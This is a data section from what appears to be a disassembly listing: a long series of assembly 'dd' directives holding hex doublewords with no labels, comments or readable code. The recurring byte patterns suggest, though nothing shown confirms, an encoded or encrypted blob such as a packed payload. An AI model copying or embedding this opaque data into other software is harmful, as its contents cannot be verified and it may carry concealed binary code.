		dd 0CB5657B1h
		dd 144E789Eh, 6BC36B3Dh, 0DD85BE46h, 47D57EE2h,	32539DA1h
		dd 325EB4B1h, 5957AEB1h, 578A0353h, 3256616Ch, 325150BEh
		dd 5436EAB1h, 0F9DD863Ah, 37BFDAD0h, 9B565DB1h,	553E1D1Ah
		dd 32563644h, 3256A458h, 16C457B1h, 0D2608763h,	0DA7148BFh
		dd 333BC52Bh, 0DB565D48h, 3256AEB8h, 6BE433ABh,	4A11D2A7h
		dd 0CA56D5A0h, 32AEEAB1h, 32429CB1h, 5675BAB1h,	0DA3FDB54h
		dd 7DE2382Dh, 31FF9F99h, 0BF8AD753h, 3256B7EDh,	325767BEh
		dd 32AF75B1h, 325953B1h, 0E8E35DB1h, 46EFD360h,	0E2ECF161h
		dd 0B0E2007Dh, 0DB56D56Dh, 3256EAB7h, 9D5358FBh, 3256C6ADh
		dd 3257D2BEh, 32A3AEB1h, 325BBEB1h, 85BAABB1h, 0F67F0719h
		dd 2F1A7E10h, 32646150h, 0E2DCDAB1h, 0AB9FDDE3h, 3256CFEAh
		dd 3251DBBEh, 0BC59ABB1h, 3256D5B0h, 0DB56EA44h, 325675A0h
		dd 0B7191DB2h, 139AFBCBh, 2D3F6933h, 0BDDDB7A8h, 3251420Fh
		dd 0D418D5B1h, 9E426196h, 52567549h, 325A53E3h,	0C8CF5DB1h
		dd 0DB517180h, 0FD596ED8h, 530C84BAh, 35BFD5B1h, 0B756EAB1h
		dd 3FF9E91Eh, 32563EFDh, 3241D2BEh, 20BFAEB1h, 0AD5657B1h
		dd 5B13BC9Bh, 0E0E6F95Ch, 0D1BA7EB0h, 1F1AB17Fh, 0DB56BA16h
		dd 32565DB4h, 0E763C78Ch, 3D5657A6h, 3256AA37h,	32562CB1h
		dd 0C756EA49h, 32567D58h, 0A197ABB1h, 3FAD8F63h, 0CB56AE51h
		dd 32564758h, 61E136B1h, 9809A962h, 4CD4A497h, 0AF426F65h
		dd 3D56BA3Bh, 32565C3Ch, 325657B1h, 0CE565749h,	3BBFABB1h
		dd 0A156D5B1h, 0B81AA136h, 0B7CE2370h, 0B959BAB1h, 32565DBDh
		dd 32502FBEh, 0BE5957B1h, 3256ABB1h, 3CBFD5B1h,	3256EAB1h
		dd 7A99C384h, 785C2E06h, 8E754AA9h, 0DB56AE26h,	325657A0h
		dd 6EE412A2h, 8A58A008h, 38C7F28h, 0C1E6E60Eh, 0CB56BA05h
		dd 8D590FD1h, 0F1D6F073h, 325636A6h, 3256B958h,	412A92B1h
		dd 910BFDC3h, 15249601h, 2D8E02A6h, 32431B0Fh, 0FDDDCEB1h
		dd 7C79EFD7h, 5256ABD0h, 0DBAC6ABEh, 3256EAB7h,	7BCA84AEh
		dd 32373E93h, 3253B4B1h, 0CF45AEB1h, 325B7734h,	324542B1h
		dd 9BADD5B1h, 6B6D069Dh, 0ED58279Ch, 47D117ABh,	0A85B38BDh
		dd 0CE56AED3h, 3EBF57B1h, 7B56ABB1h, 1FA85A7Ah,	0E2CAC840h
		dd 32506FCFh, 3AD1B5B1h, 3D565DB1h, 3256AC3Fh, 323737B1h
		dd 325E42B1h, 3A8BD5B1h, 1956F52Bh, 5436833Bh, 3D385B08h
		dd 3256583Ah, 87DC10B1h, 32373578h, 2FDBA4B1h, 5256D5B1h
		dd 61B10330h, 3DBE2FFBh, 9D56BAB1h, 0CB7CBCAAh,	0A365766Dh
		dd 4ACB3522h, 530F1696h, 39BFD5B1h, 0DC56EAB1h,	9008C92Dh
		dd 0AEDECD3h, 3256A17Bh, 0EADDC8D1h, 32563648h,	325943D1h
		dd 0CC21D5B1h, 0B49730F4h, 4BB248BCh, 0BFCBD3A4h, 1293DDC2h
		dd 64C117E8h, 32375501h, 325652B1h, 3256DA58h, 46A97EB1h
		dd 0A82A55FFh, 0C561426Ah, 5957EEC3h, 32AEAEB1h, 0F6E537B1h
		dd 214F11D7h, 5256D5D0h, 325460BEh, 0C9DD75B1h,	3256DB44h
		dd 32564F58h, 3128C5B1h, 20F16738h, 0C5627459h,	35FE178h
		dd 322D593Dh, 325E9CB1h, 3D1FBAB1h, 0B2981AEEh,	325683A2h
		dd 325DBE4Dh, 8E90ABB1h, 149EFA99h, 56FA4ACDh, 525675EDh
		dd 858C0DBEh, 0CB363CE8h, 3256CF49h, 52565748h,	3256BB59h
		dd 0EF5186B1h, 6E61BD95h, 6CB4B0FDh, 0F9807FB9h, 325EB5E3h
		dd 0E909AEB1h, 1AB7BEFEh, 6A0D942Bh, 5256D5D0h,	3CBFB2E0h
		dd 0D25675B1h, 8889546Ah, 9A8F979Eh, 526F2E45h,	0B9593669h
		dd 3256ABA7h, 325C3CD1h, 5C1EAB1h, 0FC31D1ADh, 0D5ECDDD1h
		dd 2B8CDCD7h, 3256CF5Ch, 0BF593749h, 3256ABB3h,	3CBEB4D1h
		dd 3A56EAB1h, 0A5D255B7h, 0E2B6E28Dh, 9AA4E843h, 325847F6h
		dd 8F9357B1h, 83B52E8Fh, 527D5386h, 580FF46Bh, 325614EAh
		dd 3256AE58h, 0E52D4B1h, 0AD37D606h, 7115266Fh,	0ADE710A4h
		dd 0AD83D89Fh, 5256EA93h, 6EF4CFD7h, 785A1C0Bh,	32563C8Eh
		dd 3256A158h, 3F5D32B1h, 0EE1629C1h, 17263320h,	30EA2A31h
		dd 32AA75B1h, 0B65943B1h, 32565DB0h, 0DB56AE4Dh, 325657A1h
		dd 842D6014h, 0B0BC17F4h, 0D70D36B3h, 0AA11ACE2h, 5256BA4Dh
		dd 4524BD30h, 8A30BFC6h, 32376D4Ch, 0B930CBB1h,	0CFDC837Eh
		dd 32568BE9h, 3DBE22D1h, 9C56BAB1h, 72244F70h, 5597B3DDh
		dd 962086B4h, 680E0190h, 3237293Bh, 8A308AB1h, 32370843h
		dd 33D7B5B1h, 0CE565DB1h, 32AAAEB1h, 3256AFB1h,	324128BEh
		dd 20BFD5B1h, 2A56EAB1h, 0FD0C35A1h, 0B2C85F1Dh, 0F1011DF2h
		dd 0CFD82C0Fh, 3D565723h, 3256A331h, 30D2DAB1h,	5256EAB1h
		dd 3D5675D0h, 3256B831h, 32373DB1h, 35D9A1B1h, 3D5657B1h
		dd 3256AA34h, 32562CB1h, 3256E458h, 7EC9AAB1h, 1267EF0Fh
		dd 1299D88h, 52CCF79Fh,	5476A031h, 6AE74830h, 0C756D5D0h
		dd 3256ED58h, 0FCC628B1h, 73844A0Ah, 0CBAF5DB1h, 0CB36AEB1h
		dd 98B4D6D7h, 3256CACDh, 0B3AD5ED1h, 18C89570h,	325614AEh
		dd 324B32BEh, 0BD595DB1h, 3256AEA6h, 32564558h,	0B0C7EBB1h
		dd 0BCE47666h, 0CB82D91Ch, 0B6F8E267h, 320D6CA4h, 3256A1B1h
		dd 53331AD1h, 0C73657B1h, 325623BEh, 3237D5B1h,	325613B1h
		dd 3251FFBEh, 0B559BAB1h, 32565DB0h, 0CA56AE4Dh, 325AD3BEh
		dd 0BF59ABB1h, 3256D5B7h, 32566BBEh, 325675B1h,	3256BC58h
		dd 4B2637B1h, 3296E2B8h, 3D3737B1h, 3256AA32h, 325620B1h
		dd 3256EC58h, 691884B1h, 3249BB6Eh, 38DB52B1h, 5256AEB1h
		dd 0A189E30h, 0CADDB81Fh, 5256D5D0h, 0FCB76BD7h, 0E2D7133Ah
		dd 3237A82Dh, 0E2D63DB1h, 324546CEh, 364957B1h,	0BF50A4CBh
		dd 61D13EDFh, 0D64E1BD2h, 0CD830DBh, 6D0FE8E1h,	3D565DD0h
		dd 3256B133h, 2BDB58B1h, 0DB56ABB1h, 3256D5A5h,	0FA9790Dh
		dd 92D2EEDFh, 86446115h, 83CB585Ah, 55199798h, 543657B1h
		dd 3237733Ah, 3ED0DAB1h, 3D56EAB1h, 32567337h, 32D3B5B1h
		dd 32565DB1h, 33D2A1B1h, 0CE5657B1h, 0DB56AB49h, 3256D5BBh
		dd 20529DA1h, 668E9246h, 32568183h, 325ED8BEh, 0BA59AEB1h
		dd 325657B3h, 3256CAD1h, 325757BEh, 32AAEAB1h, 325F9CB1h
		dd 0B529BAB1h, 7E795186h, 323ED29Fh, 325BBEB1h,	2B9EABB1h
		dd 0EE24833Ah, 0CB3DFC9Ah, 32041582h, 3ADBB5B1h, 3D565DB1h
		dd 3256AC3Ch, 323737B1h, 325657B1h, 32503CD1h, 6D0EEAB1h
		dd 0F20342A7h, 325335BEh, 56ED5DB1h, 5330BB83h,	0BF5957B1h
		dd 3256ABBDh, 325059BEh, 0B359EAB1h, 325675B1h,	22BFBAB1h
		dd 0AB565DB1h, 0CCB232C7h, 0ECCFF425h, 507707BAh, 32FF79E2h
		dd 325616B1h, 32567C58h, 0CC80C4B1h, 1A68CB27h,	3256BFE0h
		dd 3259D3BEh, 38BFABB1h, 2A56D5B1h, 2EE8DFA9h, 0E93A23CCh
		dd 0CB56BAABh, 0B9365DB1h, 5B892E41h, 3256AED0h, 0DB56AB44h
		dd 3256D5BAh, 711605DBh, 3CF7CB31h, 5296719Dh, 0B330853Ah
		dd 53DA6E50h, 32A357B1h, 32565EB1h, 0B58C54D1h,	8B491D0Ch
		dd 6388C601h, 3D56BAD0h, 32565133h, 23EDCEB1h, 8A48495Eh
		dd 36FE3B40h, 3D56D5D0h, 3256E73Ch, 0B33015B1h,	0B3F12570h
		dd 82A00C51h, 3D36CFC0h, 0C0D7A60Eh, 0C0174E0h,	0CA56D5D0h
		dd 0B836EAB1h, 32D97A41h, 5356BAB1h, 20BF5DB1h,	0AE56AEB1h
		dd 0F8217114h, 16D22480h, 0C7FF272Dh, 2E5509FEh, 525675C1h
		dd 5237E1E7h, 0D2E93BE6h, 3DBFF421h, 0A05657B1h, 12C8B2Dh
		dd 0CE10F20Ah, 2D1C0102h, 32378881h, 325A53B1h,	9FA55DB1h
		dd 0AF0BCF37h, 0C5350E68h
		dd 32568F1Fh, 325750BEh, 32AAEAB1h, 3FD47AB1h, 5256BAB1h
		dd 3256DFBEh, 53ECAEB1h, 537C8648h, 0B459ABB1h,	3256D5B0h
		dd 5256EA44h, 32567358h, 0BABCEAB1h, 542F3D51h,	32376D3Ah
		dd 32AAABB1h, 35D1A4B1h, 3D56D5B1h, 3256EB38h, 325680B1h
		dd 324753D1h, 63E45DB1h, 0F658A76Ah, 1CD7DDBDh,	0C35C2E2Eh
		dd 0CBA09E30h, 325803D0h, 0B4E575B1h, 0A7EC172Eh, 6AD988CCh
		dd 0B9F07D0Ch, 32AA57B1h, 325F42B1h, 6148D5B1h,	8797B1F9h
		dd 32B97EBEh, 325643B1h, 32565058h, 72B398B1h, 0D8C91A28h
		dd 18C3C26Ch, 32564364h, 325161BEh, 523675B1h, 0FBE9B5D0h
		dd 0DB565DD0h, 3256AEBAh, 33863240h, 0B1EA645Bh, 32355E85h
		dd 325613B1h, 32567358h, 8B5385B1h, 3245019Dh, 325652B1h
		dd 32565A58h, 2296CB1h,	16B99B2Ch, 0EE892AE8h, 3256F9B7h
		dd 5256BA44h, 0CF93780Eh, 32AFCFB3h, 27DE58B1h,	0DB56ABB1h
		dd 3256D5A1h, 0B31CC730h, 9F1E905Fh, 8495B54Ch,	0BC65828Ch
		dd 3ABFAEB1h, 8E5657B1h, 3131B4E6h, 320DC2F1h, 38DAE5B1h
		dd 525675B1h, 8CA431D7h, 5A790570h, 0DB56AED0h,	325657A1h
		dd 2ADED9DBh, 96937374h, 1567B85Fh, 6BA7C79Dh, 0B859BAB1h
		dd 32565DA5h, 3256A158h, 0A2BFBBB1h, 76F1594Bh,	0C2B37354h
		dd 23D71DEDh, 32A375B1h, 325D53B1h, 52025DB1h, 0D47B0B1Ch
		dd 0CD155A35h, 0C756ABDCh, 32AFD5B1h, 325103B1h, 413C75B1h
		dd 960C85B1h, 0DB565D64h, 3256AEA5h, 66136F7Dh,	1821AD98h
		dd 2846C70Eh, 364EFB69h, 98B19CACh, 3256B058h, 0D6284FB1h
		dd 2578E731h, 32850E58h, 3AD2A4B1h, 3D56D5B1h, 3256E83Bh
		dd 323715B1h, 3ABFDAB1h, 9565DB1h, 0F91E4D17h, 54A8AFADh
		dd 5395DE0Bh, 32AED5B1h, 38DEE5B1h, 525675B1h, 0E3D7DBD1h
		dd 1A730DAEh, 5256AED0h, 0CE85E0BEh, 3D56ABD0h,	3256D236h
		dd 0F6D68AB1h, 533715EEh, 32AABAB1h, 0D7D63DB1h, 31D0A142h
		dd 545657B1h, 3237743Ah, 325620B1h, 325E6DBEh, 0B45975B1h
		dd 3256BAB3h, 32563CD1h, 325B46D1h, 1D9157B1h, 56CCFC20h
		dd 6A4AFE83h, 0DB2738F1h, 325675B6h, 668A2F22h,	6D461D97h
		dd 53AD19BEh, 39BF57B1h, 6856ABB1h, 687520E4h, 94A6C531h
		dd 3256916Bh, 32573BBEh, 52A35DB1h, 8BAD11BEh, 67805BF4h
		dd 0DB56ABD0h, 3256D5A2h, 0FB01FC0Eh, 30808E5h,	862AC04Ah
		dd 0F78FEC1Ch, 328F7E5Ch, 26DA58B1h, 5256ABB1h,	3256DF59h
		dd 7E594AB1h, 0A9B5523Fh, 6D782E4Ah, 32378203h,	33D2A1B1h
		dd 0C75657B1h, 325A21BEh, 0B059D5B1h, 3256EAB7h, 3256F4BEh
		dd 3256BAB1h, 0C79DD7D1h, 0B759CED0h, 325657B4h, 399F2AD7h
		dd 7E875590h, 3D56EAD0h, 3256743Bh, 325646B1h, 6036A1D1h
		dd 0E8B52FEFh, 532F677Eh, 3D56ABD0h, 3256C735h,	3ABF8AB1h
		dd 565675B1h, 0ABC3C414h, 0B2670CF9h, 32376D6Bh, 3244BEB1h
		dd 0C665ABB1h, 99F4241Ch, 61ADD283h, 0F9A781A6h, 7A661EE6h
		dd 54365DB1h, 3D7B200Fh, 32379F0Eh, 325842B1h, 0AA6ED5B1h
		dd 268CDC36h, 0FA9F966Ch, 96E95681h, 0C7A35DB1h, 32AAAEB1h
		dd 0E8E537B1h, 0C4E1A4D1h, 3237B449h, 8A308AB1h, 0D1D7E3B2h
		dd 73954AA7h, 0CA565DD0h, 0BF59AEB1h, 325657B0h, 3D56AB4Dh
		dd 3256D83Bh, 325E03B1h, 0F88175B1h, 0A9B700A0h, 32AEA4A0h
		dd 5200CEB1h, 32370DD0h, 21D9A4B1h, 0DB56D5B1h,	3256EABFh
		dd 0B0B3DDD1h, 0D428BE52h, 158E326h, 35BF783Eh,	0A15657B1h
		dd 0CB521FE4h, 32564697h, 325803D1h, 217975B1h,	0E35BE863h
		dd 0F4CFA6FFh, 2E24F0Ch, 32565E58h, 0EC04F6B1h,	0FD5C6BFh
		dd 3237A57Bh, 0FAD715B1h, 4E79F6DFh, 0ADF9E2D7h, 0CB56AED0h
		dd 0B35957B1h, 3256ABBDh, 32505FBEh, 0B559EAB1h, 325675B1h
		dd 3FBFBAB1h, 9F565DB1h, 0D7DC76ACh, 0E64F6C1Dh, 639D802Eh
		dd 0DBAFD5B1h, 3256EAA2h, 8AD940FAh, 0CC09CA51h, 0C8C42DCCh
		dd 44C49ACDh, 3289C656h, 3DD2A4B1h, 5256D5B1h, 3256E258h
		dd 7343F4B1h, 0A0CA7E2Fh, 38BF3CFFh, 0D756AEB1h, 0D13B2CCh
		dd 0F4AB71B8h, 3D56D5E8h, 3256F738h, 25D37AB1h,	0DB56BAB1h
		dd 32565DA3h, 857C91A1h, 5460FC37h, 0FBEF23D8h,	6FB77187h
		dd 3256E2ACh, 479BF5D1h, 3237E105h, 0B3303DB1h,	0DB188E62h
		dd 325657B7h, 0F7F79C33h, 3237B9D4h, 3EDEE5B1h,	3D5675B1h
		dd 3256BC32h, 32D152B1h, 3256AEB1h, 38DE58B1h, 0DB56ABB1h
		dd 3256D5B4h, 2290E80Dh, 0DB56751Fh, 3256BAA1h,	0FA365494h
		dd 0B87C86A0h, 0E27F716Eh, 1320BFB4h, 20BFD5B1h, 1056EAB1h
		dd 2EA2A1B1h, 0A275B102h, 0C8F98EA5h, 0A75BC0C6h, 39D45847h
		dd 5256ABB1h, 325653BEh, 0D6D6EAB1h, 325614A0h,	325E3CBEh
		dd 89365DB1h, 0E9526B1h, 0BC593649h, 3256ABB0h,	5256D544h
		dd 3237113Ah, 20D87AB1h, 0DB56BAB1h, 32565DBCh,	0DF358138h
		dd 16CE68FFh, 0DD412F11h, 3D56D586h, 3256EB39h,	32568CB1h
		dd 0CB56BA49h, 34BF5DB1h, 0D556AEB1h, 0BC169373h, 5256AB22h
		dd 32565DBEh, 0CCDCEAB1h, 76EE15D0h, 547DAD92h,	6C23B730h
		dd 5256AED0h, 0B9306A01h, 3256CA69h, 0C756D548h, 52A3EAB1h
		dd 3D8CFED7h, 3256B935h, 0C9E152B1h, 5256AED0h,	14809C30h
		dd 8A30C993h, 3237384Fh, 20DEE5B1h, 0DB5675B1h,	3256BABCh
		dd 902A559Eh, 0E36F6D79h, 63422973h, 0CE56AB54h, 32AAD5B1h
		dd 325612B1h, 3251FBBEh, 0BB59BAB1h, 32565DB0h,	23D3A14Dh
		dd 525657B1h, 3256A158h, 0F9040DB1h, 73CDDB4Fh,	5350CE95h
		dd 0B159BAB1h, 32565DA0h, 3256A258h, 9A36FEB1h,	36B52954h
		dd 8CC133CFh, 0CA56EABFh, 32AE75B1h, 33D8B5B1h,	0CA565DB1h
		dd 32A3AEB1h, 35D758B1h, 5256ABB1h, 771D6ED7h, 32568B44h
		dd 0DB567544h, 3256BAB6h, 160CE293h, 0DBD05D2Bh, 325657A1h
		dd 0A62FAE4Eh, 2DE5A5F5h, 0FB50F952h, 65BF204h,	32AEBAB1h
		dd 33D052B1h, 0CB56AEB1h, 3EBF57B1h, 0F956ABB1h, 0A208AF7Ch
		dd 0A0CED728h, 32F290A3h, 324553B1h, 27DF5DB1h,	0F641CD88h
		dd 0CD27F536h, 0DEE94FFAh, 8BE106EDh, 5256EA3Fh, 0F79A2F0Ah
		dd 8A36DBCDh, 4483AFC0h, 80ED3408h, 325636B5h, 32402CBEh
		dd 23BFD5B1h, 0BB56EAB1h, 0D2B50BFAh, 3C8D7A44h, 0EE9203B7h
		dd 6BBAC484h, 32564358h, 5A0CD0B1h, 291CCA35h, 0A8E17443h
		dd 0BE0E2D75h, 0E89569B9h, 0DB565D6Eh, 3256AEBFh, 0FDB62A5Fh
		dd 0BC4943E3h, 84E29A41h, 3D368119h, 32567434h,	0B2594FB1h
		dd 32565DB2h, 539F11BEh, 3D3657B1h, 3256AE37h, 0D4D7B3B1h
		dd 0C5D7A01Fh, 6117CDABh, 3D56BAD0h, 3256543Eh,	0BA59CEB1h
		dd 325657B1h, 3256CA49h, 3256DB58h, 0A80C57B1h,	0AF24A478h
		dd 37435739h, 32050036h, 32565BB1h, 3243D6BEh, 22BFABB1h
		dd 1156D5B1h, 0BF40DF51h, 8BA8F64Fh, 9F61C486h,	3213AB53h
		dd 38DCA1B1h, 0DB5657B1h, 3256ABB4h, 0D1095E21h, 0DB56EA62h
		dd 325675BAh, 6EAB52B1h, 0CA92E7C3h, 32E46E67h,	3256A2B1h
		dd 22BF5ED1h, 0A156D5B1h, 4A5575CDh, 62B55BECh,	0C151A3FDh
		dd 53EBF84Ch, 3FBFAEB1h, 9E5657B1h, 0A1BCF66Dh,	25A7BDBCh
		dd 7E09E463h, 633675B1h, 0CB09DBD1h, 3D565DD0h,	3256AF33h
		dd 3256ABB1h, 0DB56AB49h, 3256D5A2h, 8DFDDF2Eh,	7A471D9Ch
		dd 936056E8h, 0EEA10CA7h, 3280388Fh, 21BF37B1h,	0E056ABB1h
		dd 2C31E17Eh, 0CB0B8FEDh, 4DB1511Ch, 0F885FBA1h, 0E8D71BB4h
		dd 4837C6B7h, 3D5657D0h
		dd 3256A33Ch, 30D2DAB1h, 5256EAB1h, 0DB5675D0h,	3256BABEh
		dd 49249231h, 60018Eh, 0EE8CF964h, 323D8B42h, 8A30B5B1h
		dd 0F9D7EBD5h, 2196E000h, 32564FD0h, 32565B58h,	8E4B9B1h
		dd 5286C567h, 32564344h, 0B30CD5B1h, 3212135Bh,	0BE5915B7h
		dd 3256BAB0h, 0E3D73B44h, 0C7373F8Eh, 0C7BFD23Ch, 26BFAE4Fh
		dd 9756D5B1h, 0FE35EA96h, 4CB0127Dh, 3EA42BE1h,	8E3D3629h
		dd 0BB07ED2Eh, 32791233h, 24D7A4B7h, 5256D5B1h,	0D8DE090Fh
		dd 325F9D92h, 220FBAB1h, 0F097A36Ah, 6A4661BFh,	0ACD4DAD0h
		dd 0C750AA85h, 1D0A5738h, 0DAAAECB1h, 325641ABh, 3256AE58h
		dd 0FB9FFFB1h, 65477F17h, 0B35CE2ABh, 0BF651Fh,	8C7DD1CFh
		dd 3036020Bh, 3FBF75B1h, 5956BAB1h, 5EEED66Ah, 0D59AE204h
		dd 86972FA6h, 1CD92976h, 3256D3B1h, 60A3EAB1h, 650AC6D1h
		dd 3256AB58h, 457612B1h, 4FB4E425h, 6EE943FDh, 628D9985h
		dd 530D0405h, 38E88CD1h, 36D27A48h, 5456BAB1h, 5338CA09h
		dd 2ACF2B77h, 52005248h, 0DBB84731h, 3256D5BBh,	12CFD791h
		dd 0FB6F7E60h, 3D375107h, 32565A38h, 33DEA1B1h,	0CA5657B1h
		dd 9AEEF9D9h, 33DBDA2Dh, 0CE56EAB1h, 3A87C04Eh,	0BB59BF48h
		dd 32565DAAh, 324447D1h, 3E9B57B1h, 9968C06Ch, 626983BFh
		dd 0E631B0D9h, 0B8DAA7ECh, 0BF37E1E2h, 0CE934D34h, 0EBD7CEB4h
		dd 439EE3AAh, 3256AE58h, 6310A7B1h, 0CD374336h,	0B3301561h
		dd 0DBBB5456h, 32565DA1h, 0D30CC482h, 8E80AB8Ah, 0C1F3B869h
		dd 0ED31FE2Ah, 3ADBE5D0h, 3D5675B1h, 3256B830h,	0BB373DB1h
		dd 0CB672334h, 363CAEB4h, 820D19D1h, 323EB4C6h,	0C756EAA1h
		dd 3F161D44h, 3D36BAB2h, 3256583Ah, 0B8A17B1h, 0EBD768ACh
		dd 3747C79Fh, 5256BFD0h, 32D7E5D1h, 0B35675B1h,	0C5640D40h
		dd 8C303CABh, 0CD37DF6Dh, 520CAF61h, 4102134Dh,	39379175h
		dd 0C6D2E571h, 0DB5675B1h, 3256BABFh, 60168572h, 1CE05C32h
		dd 159C52F7h, 0B159108Eh, 3256D5B3h, 0B0DF8BD1h, 34565B3Eh
		dd 0EAD43348h, 0CE505D9Fh, 315BEE08h, 0CADDAEB1h, 8C882AD1h
		dd 53683673h, 3BBF2A82h, 0B85675B1h, 0F2E61088h, 9831CD3Dh
		dd 0DBA30442h, 325657B9h, 4DF4566Fh, 0D0677214h, 325D03E3h
		dd 8CBC75B1h, 7CCC5BDAh, 51DC7BDFh, 0C752C4EFh,	324657D9h
		dd 325842B1h, 578D5B1h,	4FE0E9ECh, 0A8170C49h, 0F9FCD89Fh
		dd 34D952D1h, 0B356AEB1h, 0BEBF9C69h, 5A375ED3h, 3256D1B1h
		dd 324067BEh, 0BB5975B1h, 3256BAA1h, 32565658h,	614325B1h
		dd 0E24DB738h, 0E0D5D916h, 0CDAFD5DBh, 0CB676723h, 0B33015B4h
		dd 0DB81F95Ah, 32565DB6h, 18BB8919h, 539C8FECh,	39D2A4EBh
		dd 0DB56D5B1h, 3256EAB7h, 0FF7B378Dh, 0B0DFFF2Dh, 34566CF9h
		dd 0C3E9A1D1h, 0F6ED31E6h, 5337F4A9h, 0BDD35E49h, 3D50EA9Fh
		dd 32566D35h, 324553B1h, 9A695DB1h, 231E771Bh, 9942B19h
		dd 0D2E9E376h, 21A31080h, 0B93629C1h, 5236144Fh, 0B08B03D7h
		dd 32565158h, 50FB19B1h, 0B9F8E316h, 4F2F179Ch,	5436B460h
		dd 54D14A08h, 53B2090Ah, 2B973876h, 32565848h, 0F5A3AEF1h
		dd 0CB53FE33h, 3246ABB4h, 0BA59B5B1h, 3256EAB3h, 3DBEBB3Bh
		dd 3256BAB1h, 0A94E132Dh, 78ED02Fh, 0AEA6F2CFh,	0B33040AFh
		dd 689F3359h, 20BF8BD0h, 0EB5675B1h, 0F46F8438h, 390EB06Ch
		dd 0C3DD5CE7h, 43D29DE1h, 23BF68B8h, 6A56D5B1h,	5185C211h
		dd 30195BC0h, 0EB5F36D6h, 0AF33C15Ch, 0B930CED1h, 5390DC7Ah
		dd 1CD9113Ah, 3EBFD3B1h, 0C056EAB1h, 911B2053h,	1E7D58D1h
		dd 0CE720247h, 3D569132h, 3256DB35h, 325142B1h,	0A6AFD5B1h
		dd 95D64875h, 2229F693h, 7ED2B5B3h, 3D565DB1h, 3256AF3Bh
		dd 4DD5AFB1h, 0B659AFA1h, 3256D5F8h, 3256E258h,	0A80F5BB1h
		dd 0E30AF027h, 2691DEBEh, 3256A358h, 0DAEFEEB1h, 1A75887Dh
		dd 86481AEDh, 3ABFA346h, 8E5675B1h, 0D0054206h,	0DBC0CC5Dh
		dd 0CDA9512Dh, 3257DABEh, 0F5AFABB1h, 3257C5F6h, 0DBAAEAB1h
		dd 0CDA98A74h, 22117D44h, 32565DB2h, 3256A458h,	5B8C8AB1h
		dd 0A8991305h, 0DB54531Dh, 0CDA91518h, 0DB36144Dh, 3256BAA1h
		dd 0AB9F0FE7h, 508B63E5h, 5958B1C6h, 68249760h,	53946ABEh
		dd 3ABE8A72h, 6F5675B1h, 2737F4A6h, 88BBE610h, 1B5A0BF8h
		dd 44A1D6E8h, 536AAE68h, 32423CE4h, 6759EAB1h, 2A6748F9h
		dd 84249A95h, 0FB0B281Fh, 0E33AFA43h, 0DEDDF28Eh, 0DB365E44h
		dd 3256D5A1h, 0E5B849C2h, 0A76692AEh, 0CF88B0Ah, 71DBB0C1h
		dd 3256AE59h, 0D8D70DB1h, 3456E221h, 325C5FBEh,	0B336EAB1h
		dd 3CA67F46h, 5337DA95h, 32564C58h, 0BF53F5B1h,	95048B5Ah
		dd 173BF055h, 9437740Ah, 3DAEDDC8h, 32567B37h, 0B859DAB1h
		dd 32565DB1h, 32562BBEh, 0B93757B1h, 3267FC03h,	77DD20B7h
		dd 325C03B9h, 93B275B1h, 78F21B85h, 0EA536123h,	3D36A838h
		dd 0B137940Eh, 3267FC33h, 0B659D1B7h, 3256EAB9h, 543715D1h
		dd 53602E0Bh, 39DF52D0h, 5256AEB1h, 0B397DCD7h,	9B91466Eh
		dd 0DB9FB4AAh, 3256EAB7h, 44210722h, 36945143h,	0BF593DB1h
		dd 3256AEB1h, 5395DCD7h, 325D42D1h, 9723D5B1h, 5B58994h
		dd 0C2E5A649h, 25D1B54Bh, 3D565DB1h, 3256BF37h,	325ABEB1h
		dd 1B13ABB1h, 72ED2BC4h, 0E6937CAEh, 32BE8A4Ah,	6856BAB1h
		dd 7830B730h, 0DA36A8B1h, 325657A0h, 4EB17086h,	58D36A22h
		dd 548D722Dh, 4E90D395h, 0DB0E4F71h, 32565DA3h,	8D00209Ch
		dd 0CB05D2DFh, 0DA070ABAh, 5DB8FEA5h, 0CB37DAA6h, 31EC73Ah
		dd 9AFBCB1h, 32670A03h,	66D2A1B7h, 3D5657B0h, 3256BD3Dh
		dd 32473CB1h, 776EEAB1h, 45505CE5h, 2244059Bh, 2A4785ABh
		dd 0DBBFB3B5h, 325657A1h, 5283CF62h, 994F7D95h,	0A2F597F2h
		dd 77C7D825h, 8A36843Ah, 74D62A01h, 52812FD7h, 0EDDD3670h
		dd 7DE0A449h, 325E3CB0h, 0CFBFEAB1h, 1F2CDA2h, 75A0808Ch
		dd 0B759DDB0h, 3256AEBBh, 0C78F544Dh, 3256BE58h, 0EB7D2CB1h
		dd 3256E758h, 166C0B1h,	6E123A38h, 0B4A1763Ah, 0DB15715Ah
		dd 325657BAh, 0BFF8F5A1h, 900DC6B7h, 7191344Ch,	32566658h
		dd 557CB5B1h, 12D24655h, 0FF012423h, 6FA7D97Fh,	70B56B1Ch
		dd 2FAB503Ah, 0B9AFEF48h, 0CB48C43Ch, 324253B4h, 0E3BF5DB1h
		dd 0FEDFF23h, 0C04FA6C3h, 8C2284B5h, 3871FA7Ch,	0EA6D0A2Ah
		dd 326BF7BEh, 0B759BAB1h, 32565DBDh, 3256A958h,	3C59A5B1h
		dd 8AA1B683h, 0B5590C8Ah, 3256EA92h, 32566758h,	7ED56EB1h
		dd 0F2227493h, 5BEE5091h, 10FDE0Bh, 0B1EC8271h,	0CA36D177h
		dd 0CCB303D0h, 9AA8A4Eh, 0ED2B57Eh, 3D565DB1h, 3256BE3Fh
		dd 325DBEB1h, 0A676ABB1h, 0F510854Ch, 3C10F3DCh, 83EBFC3Ah
		dd 525343AFh, 53B8D7D1h, 3256A558h, 0DF5847B1h,	6C85BEBAh
		dd 0F5029E3Eh, 0CCC803D0h, 0B9368A4Eh, 53374266h, 52AE9E48h
		dd 32432DBEh, 22BF57B1h, 356ABB1h, 81EA8A4Fh, 0B4BDF59Ah
		dd 0EBA1B136h, 0DAA477E2h, 32565DB1h, 19BC2FEBh, 0DB5057FDh
		dd 3256ABA2h, 23ECF4A5h, 615BFE3Bh, 5CD27C10h, 69C68A0Dh
		dd 0DB008538h, 3256AEBFh, 3F34744Ch, 0B249B1D0h, 4DCB46CBh
		dd 88DD2887h, 345644F9h, 0B15946D1h, 32565DB3h,	8B37503Ah
		dd 325656B1h, 32572ABEh, 1AED5B1h, 3AD5E571h, 3D5675B1h
		dd 3256B835h, 0C1373DB1h, 0B0DD521Ah, 345666F9h, 34D6A4D1h
		dd 3D56D5B1h, 3256EA39h, 554BCAB1h, 0BB37C702h,	32670A33h
		dd 27DCA1B7h, 525657B1h
		dd 89A615D7h, 3256DF58h, 529E73B1h, 0C25DD720h,	53C948B3h
		dd 38D652D0h, 0DB56AEB1h, 325657B4h, 0EDA6D537h, 0B23616FDh
